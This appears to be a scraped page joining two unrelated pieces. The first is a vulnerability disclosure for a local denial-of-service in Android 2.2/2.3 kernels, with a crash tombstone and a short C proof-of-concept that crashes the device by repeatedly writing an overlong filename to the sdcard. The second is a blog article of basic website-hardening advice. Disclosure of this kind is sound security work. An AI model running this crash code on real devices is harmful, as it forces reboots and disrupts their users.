Android Kernel 2.6 Local DoS Crash PoC

 

# Exploit Title: Android Kernel 2.6 Local DoS

# Date: 12/7/12

# Author: G13

# Twitter: @g13net

# Versions: Android 2.2, 2.3

# Category: DoS (android)

#

 

##### Vulnerability #####

 

The Android OS is vulnerable to a local DoS when a filename with a

length of 2048

or larger is attempted to be written to the sdcard(vfat fs) multiple times.

 

The result of successful running of the exploit code is the system restarting.

 

The vulnerability only effects Android kernels that are in the version

2.6 family.

 

##### Vendor Timeline #####

 

The Android Security Team has been contacted with updated PoC code and

details.

 

They have been aware of this vulnerability for over a year.

 

##### Tombstone #####

 

*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***

Build fingerprint:

'verizon/SCH-I800/SCH-I800:2.3.4/GINGERBREAD/EF01:user/release-keys'

pid: 349, tid: 363, name: SensorService  >>> system_server <<<

signal 8 (SIGFPE), code -6 (?), fault addr 0000015d

    r0 00000000  r1 00000008  r2 00000040  r3 00000000

    r4 2a114310  r5 00000000  r6 51504690  r7 00000025

    r8 2a114330  r9 2a114350  sl 00000003  fp 00000003

    ip fffd4084  sp 51501eb0  lr 40039b70  pc 40037cf0  cpsr 20030010

    d0  4271bc7bd0b80000  d1  0000000000000000

    d2  0000000000000000  d3  427181eae9200000

    d4  0000000000000000  d5  0000000000000000

    d6  0000000000000000  d7  0000000000000000

    d8  0000000000000000  d9  0000000000000000

    d10 0000000000000000  d11 0000000000000000

    d12 0000000000000000  d13 0000000000000000

    d14 0000000000000000  d15 0000000000000000

    d16 3fe99999a0000000  d17 3fe999999999999a

    d18 0033003200310030  d19 0000000000000000

    d20 3fc554e7eb0eb47c  d21 3e66376972bea4d0

    d22 3f4de16b9c24a98f  d23 3fb0f4a31edab38b

    d24 3fede16b9c24a98f  d25 3fe55559ee5e69f9

    d26 0000000000000000  d27 0000000000000000

    d28 0000000000000005  d29 0000000000000000

    d30 0000000000000000  d31 0000000000000000

    scr 20000010

 

backtrace:

    #00  pc 0000dcf0  /system/lib/libc.so (kill+12)

    #01  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #02  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #03  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #04  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #05  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #06  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #07  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #08  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #09  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #10  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #11  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #12  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #13  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #14  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #15  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #16  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

 

    ##### PoC #####

 

    #include <stdio.h>

 

   int main(int argc, char** argv) {

    char buf[5000];

    int j,k;

   FILE *fp;

   /* Path to sdcard, typically /sdcard/ */

   strcpy(buf,"/sdcard/");

   for(k=0;k<=2048;k++){

    strcat(buf,"A");

   };

    for(j=0;j<=50;j++){

    fp=fopen(buf,"w");

   };

   return 0;

  }

Read More

HOW TO HACK-PROOF YOUR WEBSITE, BASICS FOR NON-EXPERTS

Why Protect your Server?
SoR was hacked early 2009. Cleaning out the hack, figuring out why it happened, and hardening the SoR server to keep it from happening again wasted a full week of labor. It exposed visitors of my site to spam redirects and a trojan virus. It also potentially opened me up to full site deletion, password theft, database corruption, being blocked by search engines for malware distribution, and a host of more bad-ness I don’t want to clue hackers into.

I can never be 100% sure, but evidence leads to my server control panel that had a known security hole. From there, the hacker gained ftp access to my site, and then ran a whole list of bad scripts. Was it my fault? Well, there was a whole host of things I *should* have done since day one to harden my server that most likely would have blocked the hacker. This article is to share what I learned the hard way.
Now I know what you are thinking, because I thought it too: “I’m a noob at web security and don’t want to spend years studying web security to defend myself. My website is about [insert non-IT interest here], not IT related!” This website is about making robotics – I’d rather spend years studying robots, not defending myself against fat loser hackers who still live in their parents basement and can’t get a real job (rant rant rant).
So this page is how to defend yourself against 95% of all hacks on your site, and to help you protect yourself from your noobness.
Don’t Give Hackers a Target
A hacker can’t install evil CGI scripts on your server if your server doesn’t have CGI scripts enabled. Make sense? Turn off *everything* on your server that you don’t use, such as but not limited to:

php
ruby on rails
cgi
webmail (just use redirects to your gmail, etc.)
perl
asp
etc.

The other major advantage to turning everything off is that you don’t need to constantly make sure that each are fully patched and updated against the most recent exploits. Simply turn off and forget.
Keep Software Up-To-Date
This is fairly obvious – organizations [should] release updates to their software to patch against the latest exploits. These exploits are often made public around the same time. If a hacker sees you don’t have the latest version installed, he knows exactly how to exploit your server!
Now it’s not reasonable to check for updates *every day*, so there are other methods. Some software has ‘auto-update’ or ‘auto check for update’ features. Turn on ‘auto check for updates’, but be wary of ‘auto-update’ as you don’t want it to break anything without your knowledge. Also, sign up for any software mailing lists that notify users of newer versions . . . and pray they don’t spam you with promotions in the mean time.
Hide software version numbers from public facing pages if at all possible.
There are also automated methods to update your server, such as Yum andUp2Date. These programs make it easy to check for new versions of software and to upgrade them without much hassle.
And DO NOT trust your webhost to do this for you!
Assume That You Will Be Hacked
Shakespeare taught us that overconfidence is our downfall. Always assume that one day your server will somehow be hacked, and act as so.
Make sure you backup everything, and do it often. Automate your backups, because it’s annoying to do it manually in my opinion. Verify that your backups actually work. And don’t delete your old backups, keep them all and date them appropriately. I once discovered a backup of mine was corrupted after corrupting the most recent version . . . and I only had that one backup. That was a sucky day for me . . . Assume that maybe one day your house will have a fire, flood, burglary, tornado, or some other ‘wrath of god,’ and any backups stored in your house will be destroyed/lost along with it. Keep a copy of your backups with a trusted friend/relative or in a safety deposit box at a bank.
Also assume that people are trying to hack you, but haven’t succeeded yet. They’ll occasionally test your system for any flaws that come up. You’ll probably see these attempts in your server error log. They’ll be pretty obvious, like attempts from a single IP address trying to access many non-existent files on your server, such as yoursite.com/admin. Don’t ignore them, they may one day ‘pwn joo’. Learn how to use a .htaccess file and IP block those basement dwelling losers cold.
You probably already know this, but don’t use simple passwords, or any password that can be found in a dictionary (heard of the dictionary attack, yet?). And don’t store those passwords on your laptop/PC as it can be physically stolen.
Use a firewall. You [should] know exactly what programs are running on your server, and your firewall should only allow those programs access to the net. A backdoor would probably use a non-approved port number, so a firewall would quickly block it. Be careful when you first turn your firewall on, making sure you allowed valid programs access *first*. If you don’t you’ll end up blocking your own ftp, shell access, control panel, etc. If you don’t know what you are doing, set your firewall up to ‘allow all’. It won’t block anything, but it’ll at least log rogue programs.
Turn off anonymous ftp so a hacker doesn’t have access to your code for potential exploit perusal.
Assume That You Have Already Been Hacked
I went a month before I realized I was hacked. Users started reporting that their virus software would go crazy when they visited my site. Going through my FTP I quickly found files that obviously shouldn’t have been there, but I just didn’t think to stay alert for this. If I paid more attention I would have found them out much sooner.
As soon as you realize you were hacked, try to find out when. Look at the file dates and go through your error logs and ftp access logs. If you have a low traffic site, even go through your normal access logs. It’s always good to at least skim through your error logs once a month to see any failed hack attempts (the successful ones won’t get recorded there). Skim through your ftp access log occasionally for IP address that aren’t yours. You can even block ftp access to any IP that isn’t yours.
Finding that you were hacked, don’t immediately delete all the hack files in a wave of frantic paranoia – save them first on your PC locally for later analysis. Save log files and everything else.
Try to determine if it was a non-directed automated attack (favorite method for spammers), or an intense directed attack specifically at you. The latter is scarier, because the hack will be much better hidden and customized to fool specifically you. If it’s directed at you, they’ll definitely try again. Those that use automated methods wouldn’t think you are worth their time to hack again if their automated attack fails.
The most recommended course of action after being hacked is to simply erase your server and start over again, as there is no real way of knowing if any hidden backdoors were installed. But don’t do this yet – figure out how they got in first. If you don’t, you’ll just reinstall the same security holes and get hacked again. Browsing Google for exploits on the software you used will definitely help you find that hole(s).

Read More